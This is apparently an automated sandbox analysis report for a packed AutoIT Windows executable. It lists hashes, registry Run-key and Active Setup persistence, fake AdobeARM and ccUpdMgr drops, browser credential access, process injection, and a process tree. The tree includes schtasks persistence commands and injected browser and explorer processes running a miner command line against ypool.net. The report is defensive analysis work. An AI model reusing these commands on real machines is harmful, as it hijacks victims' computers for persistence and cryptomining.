3f8537c87613bee8b3177b3f82683de311f8d6dad209cd896af765fb534b7485

Analysis

max time kernel
136s
max time network
136s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
21-11-2022 15:58

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

3f8537c87613bee8b3177b3f82683de311f8d6dad209cd896af765fb534b7485.exe
Size

2.1MB
MD5

12591f2681dc8dd84da78efc3f28ceeb
SHA1

6688fb84fa39f7c999e44baf31981da548c83b9c
SHA256

3f8537c87613bee8b3177b3f82683de311f8d6dad209cd896af765fb534b7485
SHA512

fddbb0aa9f33d40410d0a5061a9f454ea6ec0836e0f8bdb6eb859db4fbaf9be81948776f7b34eb3ac08cf1d353ff8b93900f0658613ac61cd10a3c2f0abeee03
SSDEEP

49152:JEVUcGNLJpVCsl4vQxgGwd0L4sC2OdXXohUiI68:JE3GNFWIPoafIP

Score

8^/10

persistence spyware stealer upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4612	~12591f26.exe
1112	plugin-container.exe

Modifies Installed Components in the registry 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\AutoUpdate Monitor\Version = "12,1,7601,6011"	~12591f26.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\AutoUpdate Monitor	plugin-container.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\AutoUpdate Monitor\StubPath = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Proof\\almon.exe\""	plugin-container.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\AutoUpdate Monitor\Version = "12,1,7601,5383"	plugin-container.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\AutoUpdate Monitor	~12591f26.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\AutoUpdate Monitor\StubPath = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Proof\\almon.exe\""	~12591f26.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4496-132-0x0000000000400000-0x00000000004B3000-memory.dmp	upx
behavioral2/memory/4496-133-0x0000000000400000-0x00000000004B3000-memory.dmp	upx
behavioral2/memory/4496-137-0x0000000000400000-0x00000000004B3000-memory.dmp	upx

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	3f8537c87613bee8b3177b3f82683de311f8d6dad209cd896af765fb534b7485.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	~12591f26.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	plugin-container.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 16 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce	~12591f26.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ccUpdMgr = "\"C:\\Program Files\\VideoLAN\\VLC\\locale\\fur\\ccUpdMgr.exe\""	plugin-container.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce	plugin-container.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	~12591f26.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Adobe Reader and Acrobat Manager = "\"C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\AdobeARM.exe\""	~12591f26.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ccUpdMgr = "\"C:\\Program Files\\VideoLAN\\VLC\\locale\\fur\\ccUpdMgr.exe\""	~12591f26.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Adobe Reader and Acrobat Manager = "\"C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\AdobeARM.exe\""	plugin-container.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce	~12591f26.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce	plugin-container.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Adobe Reader and Acrobat Manager = "\"C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\AdobeARM.exe\""	~12591f26.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	~12591f26.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Adobe Reader and Acrobat Manager = "\"C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\AdobeARM.exe\""	plugin-container.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	plugin-container.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Adobe Reader and Acrobat Manager = "\"C:\\Program Files\\Microsoft Office\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\AdobeARM.exe\""	plugin-container.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Adobe Reader and Acrobat Manager = "\"C:\\Program Files\\Microsoft Office\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\AdobeARM.exe\""	~12591f26.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	plugin-container.exe

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\v:	plugin-container.exe
File opened (read-only)	\??\b:	plugin-container.exe
File opened (read-only)	\??\e:	plugin-container.exe
File opened (read-only)	\??\i:	plugin-container.exe
File opened (read-only)	\??\k:	plugin-container.exe
File opened (read-only)	\??\m:	plugin-container.exe
File opened (read-only)	\??\n:	plugin-container.exe
File opened (read-only)	\??\q:	plugin-container.exe
File opened (read-only)	\??\y:	plugin-container.exe
File opened (read-only)	\??\z:	plugin-container.exe
File opened (read-only)	\??\a:	plugin-container.exe
File opened (read-only)	\??\g:	plugin-container.exe
File opened (read-only)	\??\h:	plugin-container.exe
File opened (read-only)	\??\j:	plugin-container.exe
File opened (read-only)	\??\s:	plugin-container.exe
File opened (read-only)	\??\w:	plugin-container.exe
File opened (read-only)	\??\f:	plugin-container.exe
File opened (read-only)	\??\l:	plugin-container.exe
File opened (read-only)	\??\o:	plugin-container.exe
File opened (read-only)	\??\t:	plugin-container.exe
File opened (read-only)	\??\u:	plugin-container.exe
File opened (read-only)	\??\p:	plugin-container.exe
File opened (read-only)	\??\r:	plugin-container.exe
File opened (read-only)	\??\x:	plugin-container.exe

AutoIT Executable 13 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/memory/4496-133-0x0000000000400000-0x00000000004B3000-memory.dmp	autoit_exe
behavioral2/files/0x0007000000022f4c-135.dat	autoit_exe
behavioral2/files/0x0007000000022f4c-136.dat	autoit_exe
behavioral2/memory/4496-137-0x0000000000400000-0x00000000004B3000-memory.dmp	autoit_exe
behavioral2/files/0x000200000001e2c1-147.dat	autoit_exe
behavioral2/files/0x000200000001e2c1-148.dat	autoit_exe
behavioral2/files/0x0008000000022f5b-149.dat	autoit_exe
behavioral2/files/0x0009000000022f52-153.dat	autoit_exe
behavioral2/files/0x0009000000022f5e-155.dat	autoit_exe
behavioral2/files/0x0009000000022f60-157.dat	autoit_exe
behavioral2/files/0x0009000000022f61-159.dat	autoit_exe
behavioral2/files/0x0008000000022f64-161.dat	autoit_exe
behavioral2/files/0x0008000000022f66-163.dat	autoit_exe

Suspicious use of SetThreadContext 11 IoCs

description	pid	Process	procid_target
PID 1112 set thread context of 4076	1112	plugin-container.exe	123
PID 1112 set thread context of 3828	1112	plugin-container.exe	125
PID 1112 set thread context of 3592	1112	plugin-container.exe	127
PID 1112 set thread context of 1848	1112	plugin-container.exe	129
PID 1112 set thread context of 4496	1112	plugin-container.exe	131
PID 1112 set thread context of 1524	1112	plugin-container.exe	133
PID 1112 set thread context of 3816	1112	plugin-container.exe	135
PID 1112 set thread context of 1064	1112	plugin-container.exe	137
PID 1112 set thread context of 2520	1112	plugin-container.exe	139
PID 1112 set thread context of 1784	1112	plugin-container.exe	141
PID 1112 set thread context of 2940	1112	plugin-container.exe	143

Drops file in Program Files directory 36 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\WindowsApps\Microsoft.XboxGamingOverlay_2.34.28001.0_x64__8wekyb3d8bbwe\AppxMetadata\~jcxlwtx.tmp	plugin-container.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\~hrhxxzl.tmp	plugin-container.exe
File created	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\PROFILE\AdobeARM.exe	~12591f26.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\~xfybbre.tmp	~12591f26.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\fur\ccUpdMgr.exe	plugin-container.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\PROFILE\~duntewj.tmp	~12591f26.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\BCSSync.exe	~12591f26.exe
File created	C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\AdobeARM.exe	plugin-container.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\fur\~vflrjaq.tmp	plugin-container.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\fur\ccUpdMgr.exe	~12591f26.exe
File created	C:\Program Files\Common Files\microsoft shared\ink\bg-BG\AdobeARM.exe	~12591f26.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fur\ccUpdMgr.exe	plugin-container.exe
File created	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\BCSSync.exe	plugin-container.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.GetHelp_10.1706.13331.0_neutral_~_8wekyb3d8bbwe\~kpuilhf.tmp	~12591f26.exe
File opened for modification	C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\~dpbmsgm.tmp	plugin-container.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.GetHelp_10.1706.13331.0_neutral_~_8wekyb3d8bbwe\~xrllywl.tmp	plugin-container.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\fur\~ugudrvj.tmp	~12591f26.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ink\bg-BG\AdobeARM.exe	~12591f26.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ink\bg-BG\~trazjvt.tmp	plugin-container.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ink\bg-BG\AdobeARM.exe	plugin-container.exe
File created	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\PROFILE\AdobeARM.exe	plugin-container.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\~ebhncjj.tmp	~12591f26.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\PROFILE\AdobeARM.exe	~12591f26.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fur\ccUpdMgr.exe	~12591f26.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ink\bg-BG\~osexuyj.tmp	~12591f26.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\~osqfpbq.tmp	plugin-container.exe
File opened for modification	C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\AdobeARM.exe	plugin-container.exe
File created	C:\Program Files\Common Files\microsoft shared\ink\bg-BG\AdobeARM.exe	plugin-container.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\PROFILE\~nltkdkm.tmp	plugin-container.exe
File created	C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\AdobeARM.exe	~12591f26.exe
File opened for modification	C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\AdobeARM.exe	~12591f26.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\PROFILE\AdobeARM.exe	plugin-container.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\BCSSync.exe	plugin-container.exe
File created	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\BCSSync.exe	~12591f26.exe
File opened for modification	C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\~ndotedn.tmp	~12591f26.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.XboxGamingOverlay_2.34.28001.0_x64__8wekyb3d8bbwe\AppxMetadata\~mijzdcn.tmp	~12591f26.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
3684	schtasks.exe
4456	schtasks.exe
4804	schtasks.exe
2300	schtasks.exe
1000	schtasks.exe
3148	schtasks.exe
204	schtasks.exe
1896	schtasks.exe
2728	schtasks.exe
1872	schtasks.exe

Suspicious behavior: EnumeratesProcesses 34 IoCs

pid	Process
4496	3f8537c87613bee8b3177b3f82683de311f8d6dad209cd896af765fb534b7485.exe
4496	3f8537c87613bee8b3177b3f82683de311f8d6dad209cd896af765fb534b7485.exe
4496	3f8537c87613bee8b3177b3f82683de311f8d6dad209cd896af765fb534b7485.exe
4496	3f8537c87613bee8b3177b3f82683de311f8d6dad209cd896af765fb534b7485.exe
4612	~12591f26.exe
4612	~12591f26.exe
4612	~12591f26.exe
4612	~12591f26.exe
1112	plugin-container.exe
1112	plugin-container.exe
1112	plugin-container.exe
1112	plugin-container.exe
1112	plugin-container.exe
1112	plugin-container.exe
1112	plugin-container.exe
1112	plugin-container.exe
1112	plugin-container.exe
1112	plugin-container.exe
1112	plugin-container.exe
1112	plugin-container.exe
1112	plugin-container.exe
1112	plugin-container.exe
1112	plugin-container.exe
1112	plugin-container.exe
1112	plugin-container.exe
1112	plugin-container.exe
1112	plugin-container.exe
1112	plugin-container.exe
1112	plugin-container.exe
1112	plugin-container.exe
1112	plugin-container.exe
1112	plugin-container.exe
1112	plugin-container.exe
1112	plugin-container.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4496 wrote to memory of 4612	4496	3f8537c87613bee8b3177b3f82683de311f8d6dad209cd896af765fb534b7485.exe	85
PID 4496 wrote to memory of 4612	4496	3f8537c87613bee8b3177b3f82683de311f8d6dad209cd896af765fb534b7485.exe	85
PID 4612 wrote to memory of 4952	4612	~12591f26.exe	90
PID 4612 wrote to memory of 4952	4612	~12591f26.exe	90
PID 4612 wrote to memory of 448	4612	~12591f26.exe	92
PID 4612 wrote to memory of 448	4612	~12591f26.exe	92
PID 4612 wrote to memory of 3464	4612	~12591f26.exe	94
PID 4612 wrote to memory of 3464	4612	~12591f26.exe	94
PID 4612 wrote to memory of 3684	4612	~12591f26.exe	96
PID 4612 wrote to memory of 3684	4612	~12591f26.exe	96
PID 4612 wrote to memory of 4456	4612	~12591f26.exe	98
PID 4612 wrote to memory of 4456	4612	~12591f26.exe	98
PID 4612 wrote to memory of 4804	4612	~12591f26.exe	100
PID 4612 wrote to memory of 4804	4612	~12591f26.exe	100
PID 4612 wrote to memory of 2300	4612	~12591f26.exe	102
PID 4612 wrote to memory of 2300	4612	~12591f26.exe	102
PID 4612 wrote to memory of 1000	4612	~12591f26.exe	104
PID 4612 wrote to memory of 1000	4612	~12591f26.exe	104
PID 4612 wrote to memory of 1112	4612	~12591f26.exe	106
PID 4612 wrote to memory of 1112	4612	~12591f26.exe	106
PID 1112 wrote to memory of 1472	1112	plugin-container.exe	107
PID 1112 wrote to memory of 1472	1112	plugin-container.exe	107
PID 1112 wrote to memory of 1148	1112	plugin-container.exe	109
PID 1112 wrote to memory of 1148	1112	plugin-container.exe	109
PID 1112 wrote to memory of 4608	1112	plugin-container.exe	111
PID 1112 wrote to memory of 4608	1112	plugin-container.exe	111
PID 1112 wrote to memory of 3148	1112	plugin-container.exe	113
PID 1112 wrote to memory of 3148	1112	plugin-container.exe	113
PID 1112 wrote to memory of 1896	1112	plugin-container.exe	115
PID 1112 wrote to memory of 1896	1112	plugin-container.exe	115
PID 1112 wrote to memory of 2728	1112	plugin-container.exe	117
PID 1112 wrote to memory of 2728	1112	plugin-container.exe	117
PID 1112 wrote to memory of 204	1112	plugin-container.exe	119
PID 1112 wrote to memory of 204	1112	plugin-container.exe	119
PID 1112 wrote to memory of 1872	1112	plugin-container.exe	121
PID 1112 wrote to memory of 1872	1112	plugin-container.exe	121
PID 1112 wrote to memory of 4076	1112	plugin-container.exe	123
PID 1112 wrote to memory of 4076	1112	plugin-container.exe	123
PID 1112 wrote to memory of 4076	1112	plugin-container.exe	123
PID 1112 wrote to memory of 4076	1112	plugin-container.exe	123
PID 1112 wrote to memory of 3828	1112	plugin-container.exe	125
PID 1112 wrote to memory of 3828	1112	plugin-container.exe	125
PID 1112 wrote to memory of 3828	1112	plugin-container.exe	125
PID 1112 wrote to memory of 3828	1112	plugin-container.exe	125
PID 1112 wrote to memory of 3592	1112	plugin-container.exe	127
PID 1112 wrote to memory of 3592	1112	plugin-container.exe	127
PID 1112 wrote to memory of 3592	1112	plugin-container.exe	127
PID 1112 wrote to memory of 3592	1112	plugin-container.exe	127
PID 1112 wrote to memory of 1848	1112	plugin-container.exe	129
PID 1112 wrote to memory of 1848	1112	plugin-container.exe	129
PID 1112 wrote to memory of 1848	1112	plugin-container.exe	129
PID 1112 wrote to memory of 1848	1112	plugin-container.exe	129
PID 1112 wrote to memory of 4496	1112	plugin-container.exe	131
PID 1112 wrote to memory of 4496	1112	plugin-container.exe	131
PID 1112 wrote to memory of 4496	1112	plugin-container.exe	131
PID 1112 wrote to memory of 4496	1112	plugin-container.exe	131
PID 1112 wrote to memory of 1524	1112	plugin-container.exe	133
PID 1112 wrote to memory of 1524	1112	plugin-container.exe	133
PID 1112 wrote to memory of 1524	1112	plugin-container.exe	133
PID 1112 wrote to memory of 1524	1112	plugin-container.exe	133
PID 1112 wrote to memory of 3816	1112	plugin-container.exe	135
PID 1112 wrote to memory of 3816	1112	plugin-container.exe	135
PID 1112 wrote to memory of 3816	1112	plugin-container.exe	135
PID 1112 wrote to memory of 3816	1112	plugin-container.exe	135

C:\Users\Admin\AppData\Local\Temp\3f8537c87613bee8b3177b3f82683de311f8d6dad209cd896af765fb534b7485.exe
"C:\Users\Admin\AppData\Local\Temp\3f8537c87613bee8b3177b3f82683de311f8d6dad209cd896af765fb534b7485.exe"
1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4496
- C:\Users\Admin\AppData\Local\Temp\~12591f26.exe
  "C:\Users\Admin\AppData\Local\Temp\~12591f26.exe"
  2⤵
  - Executes dropped EXE
  - Modifies Installed Components in the registry
  - Checks computer location settings
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /C DIR /A:D /S /B *
    3⤵
    PID:4952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /C DIR /A:D /S /B *
    3⤵
    PID:448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /C DIR /A:D /S /B *
    3⤵
    PID:3464
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 13 /TN "Adobe Reader and Acrobat Manager" /TR "\"C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\AdobeARM.exe\""
    3⤵
    - Creates scheduled task(s)
    PID:3684
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 27 /TN "ccUpdMgr" /TR "\"C:\Program Files\VideoLAN\VLC\locale\fur\ccUpdMgr.exe\""
    3⤵
    - Creates scheduled task(s)
    PID:4456
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 18 /TN "Adobe Reader and Acrobat Manager" /TR "\"C:\Program Files\Common Files\microsoft shared\ink\bg-BG\AdobeARM.exe\""
    3⤵
    - Creates scheduled task(s)
    PID:4804
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 9 /TN "Adobe Reader and Acrobat Manager" /TR "\"C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\PROFILE\AdobeARM.exe\""
    3⤵
    - Creates scheduled task(s)
    PID:2300
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /CREATE /F /SC ONLOGON /TN "BCSSync" /TR "\"C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\BCSSync.exe\""
    3⤵
    - Creates scheduled task(s)
    PID:1000
- - C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\plugin-container.exe
    C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\plugin-container.exe
    3⤵
    - Executes dropped EXE
    - Modifies Installed Components in the registry
    - Checks computer location settings
    - Adds Run key to start application
    - Enumerates connected drives
    - Suspicious use of SetThreadContext
    - Drops file in Program Files directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1112
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /C DIR /A:D /S /B *
      4⤵
      PID:1472
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /C DIR /A:D /S /B *
      4⤵
      PID:1148
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /C DIR /A:D /S /B *
      4⤵
      PID:4608
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 28 /TN "Adobe Reader and Acrobat Manager" /TR "\"C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\AdobeARM.exe\""
      4⤵
      Creates scheduled task(s)
      PID:3148
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 31 /TN "ccUpdMgr" /TR "\"C:\Program Files\VideoLAN\VLC\locale\fur\ccUpdMgr.exe\""
      4⤵
      Creates scheduled task(s)
      PID:1896
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 21 /TN "Adobe Reader and Acrobat Manager" /TR "\"C:\Program Files\Common Files\microsoft shared\ink\bg-BG\AdobeARM.exe\""
      4⤵
      Creates scheduled task(s)
      PID:2728
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 17 /TN "Adobe Reader and Acrobat Manager" /TR "\"C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\PROFILE\AdobeARM.exe\""
      4⤵
      Creates scheduled task(s)
      PID:204
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /CREATE /F /SC ONLOGON /TN "BCSSync" /TR "\"C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\BCSSync.exe\""
      4⤵
      Creates scheduled task(s)
      PID:1872
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -u node.bot6 -p x -o http://ypool.net:8081 -t 2 -m512
      4⤵
      PID:4076
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -u node.bot6 -p x -o http://ypool.net:8081 -t 2 -m512
      4⤵
      PID:3828
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" -u node.bot6 -p x -o http://ypool.net:8081 -t 2 -m512
      4⤵
      PID:3592
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" -u node.bot6 -p x -o http://ypool.net:8081 -t 2 -m512
      4⤵
      PID:1848
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" -u node.bot6 -p x -o http://ypool.net:8081 -t 2 -m512
      4⤵
      PID:4496
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" -u node.bot6 -p x -o http://ypool.net:8081 -t 2 -m512
      4⤵
      PID:1524
  - - C:\Windows\explorer.exe
      "C:\Windows\explorer.exe" -u node.bot6 -p x -o http://ypool.net:8081 -t 2 -m512
      4⤵
      PID:3816
  - - C:\Windows\explorer.exe
      "C:\Windows\explorer.exe" -u node.bot6 -p x -o http://ypool.net:8081 -t 2 -m512
      4⤵
      PID:1064
  - - C:\Windows\explorer.exe
      "C:\Windows\explorer.exe" -u node.bot6 -p x -o http://ypool.net:8081 -t 2 -m512
      4⤵
      PID:2520
  - - C:\Windows\explorer.exe
      "C:\Windows\explorer.exe" -u node.bot6 -p x -o http://ypool.net:8081 -t 2 -m512
      4⤵
      PID:1784
  - - C:\Windows\explorer.exe
      "C:\Windows\explorer.exe" -u node.bot6 -p x -o http://ypool.net:8081 -t 2 -m512
      4⤵
      PID:2940

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Common Files\microsoft shared\ink\bg-BG\AdobeARM.exe

Filesize
2.6MB

MD5
e222f8164b697174f23e5bb4b9abcf91

SHA1
735db7fa8babe368e0063a2c1db0626f227b8f61

SHA256
b17d70d31b8ed4c428a2272284e86283427ca075854c6c37fc481dec36513e22

SHA512
93297af38c35914fefa111244960153e3802f78b4fdb691727179f26fc78fb6e02a934bb6ca117ffcb5312f9e00b125eb70ecce29127a646374332d92bd03236

Download Submit
C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\BCSSync.exe

Filesize
2.6MB

MD5
56d24fc185d927afe65f530ae545110b

SHA1
f643d786ce3866f0fc1789fbc078d80b4ec45060

SHA256
a024f0e6f89bdb740f8c415d3e36604e6ebc385b9858a3217a24bf4ccd029eb3

SHA512
32b2f0ff47b5a25e9a1e06d79c0eccd7d4589ca39cd5aee07c3c8d4911a7f6960fb291543fafe977b600b0fc8fb6602edd9c198a15d2160375dc171f2a8e0c81

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\PROFILE\AdobeARM.exe

Filesize
2.6MB

MD5
ea01c203ef5d7b77e2b4372121c8ec67

SHA1
